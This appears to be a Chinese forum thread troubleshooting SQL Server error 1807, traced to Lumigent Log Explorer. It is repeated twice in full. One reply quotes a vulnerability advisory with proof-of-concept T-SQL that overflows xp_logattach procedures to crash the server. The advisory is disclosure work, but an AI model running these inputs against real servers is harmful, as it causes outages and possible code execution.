没遇到过的问题,只有请教各位了?

时间:2022-05-23 21:23:30
我在sql server企业管理器里新建数据库时出错:
Microsoft SQL-DMO(ODBC SQLState:42000)(这是弹出窗口的标题信息)
错误1807:未能获得数据库'MODEL'上的排它锁。请稍后再尝试该操作。CREATE DATABASE失败。未能创建所列出的某些文件名。请检查前面的错误信息。

然后我任选择一数据库,右键-->"属性"却出现MMC错误

在网上搜索了,csdn上也找了,没有找到相应的答案,请大家给我看看。先谢过

26 个解决方案

#1


数据库里的其他操作好像都可以,可以查看记录,可以进行其他的操作。

#2


你重启数据库呢?试试,行吗?

#3


没见过,重起,再试.

#4


看看是不是服務器的問題?

#5


找不到原因,sql server是装有我本机上,服务里重启了mssqlserver,机子也重启了,一样的。。

#6


--试试查询分析器中执行下面的语句看看能否建库
use master
go

declare hcforeach cursor global for select 'kill '+rtrim(spid) from sysprocesses where dbid=db_id('model')
exec sp_msforeach_worker '?'
go

create database aa

#7


行了。邹老哥,在分析器里可以执行,然后我再在企业管理器里建库也可以,但是建库后发现数据库里多了一个表LUMIGENT_PROFILER,里面有一些starttime,spid,用户登录名loginname等,这是怎么回事呀。再就是你那语句看上去是杀掉跟model相关的系统,但还是不明白吗?能帮我讲解一下吗?

#8


为什么重启都不行?
什么情况会出现这种情况.

#9


不清楚,等邹老哥解答,是什么原因引起这现象呢?

#10


是新装得吗?如果是个人学习的Sqlserver的话,重装一遍把,可能没装好!

#11


LUMIGENT_PROFILER应该是log explorer使用的.

#12


谢谢 yesyesyes() 的指点。我卸了log explorer,出现一样的问题,后来又装上log explorer,又可以了,这log explorer怎么这么牛B,太霸道了点

1.现在原因是找出来了,但如果我卸了log explorer,sql又出问题,用邹老哥的方法杀掉model的进程
也没用。只有装上,怎么办,如果我不要log explorer,要怎么做

2.邹老哥的那几条sql语句有些似懂非懂,只知道是用游标来杀掉那些spid为db_id('model')的进程,能具体讲解一下吗?

#13


晕得很,不去掉log explorer就是不爽呀,现在连在数据库上右键“属性”都不可以,出现mmc错误。。

#14


Lumigent Log Explorer is a transaction log explorer for Microsoft SQL 
Server 7/2000. It ships with extended stored procedures implemented in 
xp_logattach.dll. Some of them suffer from buffer overflows that lead to 
SQL Server service crash and potentially to arbitrary code execution. 
Below is sample code that crashes SQL Server:

declare @bo varchar(8000) 
set @bo = replicate('A', 800) 
exec xp_logattach_StartProf @bo 

declare @bo varchar(8000) 
set @bo = replicate('A',800) 
exec xp_logattach_setport @bo 

declare @bo varchar(8000) 
set @bo = replicate('A',800) 
exec xp_logattach @bo 

Procedures can be run only by dbo (master) by default. Vendor was informed 
but I got no response confirming this problem and no fixes.

Cheers

Martin Rakhmanoff (jimmers)
jimmers yandex ru

#15


补丁打到SP3以上看看了

#16


to  hygougou(狗狗):
你那语句是干吗呢???

#17


如何去掉log explorer呀,卸载不行

#18


别沉了。。。

#19


Study

#20


继续顶

#21


补丁打到SP3

Lumigent Log Explorer内存益出,对SQL SERVER7/2000的SP2以上版本都有

影响,且至今没解决方案,所以只能考虑装sp3补丁,要么你就重装系统了

#22


学习

#23


再顶

#24


学习

#25


测试过,没有遇到这种问题

#26


看看是不是你的數據庫。
有可能是電腦系統的系統。
不過鄒老大的我測試過是可以哦
但是我不知道那是什么意思
鄒老大可以解釋一下嗎
在這先謝﹗﹗

#1


数据库里的其他操作好像都可以,可以查看记录,可以进行其他的操作。

#2


你重启数据库呢?试试,行吗?

#3


没见过,重起,再试.

#4


看看是不是服務器的問題?

#5


找不到原因,sql server是装有我本机上,服务里重启了mssqlserver,机子也重启了,一样的。。

#6


--试试查询分析器中执行下面的语句看看能否建库
use master
go

declare hcforeach cursor global for select 'kill '+rtrim(spid) from sysprocesses where dbid=db_id('model')
exec sp_msforeach_worker '?'
go

create database aa

#7


行了。邹老哥,在分析器里可以执行,然后我再在企业管理器里建库也可以,但是建库后发现数据库里多了一个表LUMIGENT_PROFILER,里面有一些starttime,spid,用户登录名loginname等,这是怎么回事呀。再就是你那语句看上去是杀掉跟model相关的系统,但还是不明白吗?能帮我讲解一下吗?

#8


为什么重启都不行?
什么情况会出现这种情况.

#9


不清楚,等邹老哥解答,是什么原因引起这现象呢?

#10


是新装得吗?如果是个人学习的Sqlserver的话,重装一遍把,可能没装好!

#11


LUMIGENT_PROFILER应该是log explorer使用的.

#12


谢谢 yesyesyes() 的指点。我卸了log explorer,出现一样的问题,后来又装上log explorer,又可以了,这log explorer怎么这么牛B,太霸道了点

1.现在原因是找出来了,但如果我卸了log explorer,sql又出问题,用邹老哥的方法杀掉model的进程
也没用。只有装上,怎么办,如果我不要log explorer,要怎么做

2.邹老哥的那几条sql语句有些似懂非懂,只知道是用游标来杀掉那些spid为db_id('model')的进程,能具体讲解一下吗?

#13


晕得很,不去掉log explorer就是不爽呀,现在连在数据库上右键“属性”都不可以,出现mmc错误。。

#14


Lumigent Log Explorer is a transaction log explorer for Microsoft SQL 
Server 7/2000. It ships with extended stored procedures implemented in 
xp_logattach.dll. Some of them suffer from buffer overflows that lead to 
SQL Server service crash and potentially to arbitrary code execution. 
Below is sample code that crashes SQL Server:

declare @bo varchar(8000) 
set @bo = replicate('A', 800) 
exec xp_logattach_StartProf @bo 

declare @bo varchar(8000) 
set @bo = replicate('A',800) 
exec xp_logattach_setport @bo 

declare @bo varchar(8000) 
set @bo = replicate('A',800) 
exec xp_logattach @bo 

Procedures can be run only by dbo (master) by default. Vendor was informed 
but I got no response confirming this problem and no fixes.

Cheers

Martin Rakhmanoff (jimmers)
jimmers yandex ru

#15


补丁打到SP3以上看看了

#16


to  hygougou(狗狗):
你那语句是干吗呢???

#17


如何去掉log explorer呀,卸载不行

#18


别沉了。。。

#19


Study

#20


继续顶

#21


补丁打到SP3

Lumigent Log Explorer内存益出,对SQL SERVER7/2000的SP2以上版本都有

影响,且至今没解决方案,所以只能考虑装sp3补丁,要么你就重装系统了

#22


学习

#23


再顶

#24


学习

#25


测试过,没有遇到这种问题

#26


看看是不是你的數據庫。
有可能是電腦系統的系統。
不過鄒老大的我測試過是可以哦
但是我不知道那是什么意思
鄒老大可以解釋一下嗎
在這先謝﹗﹗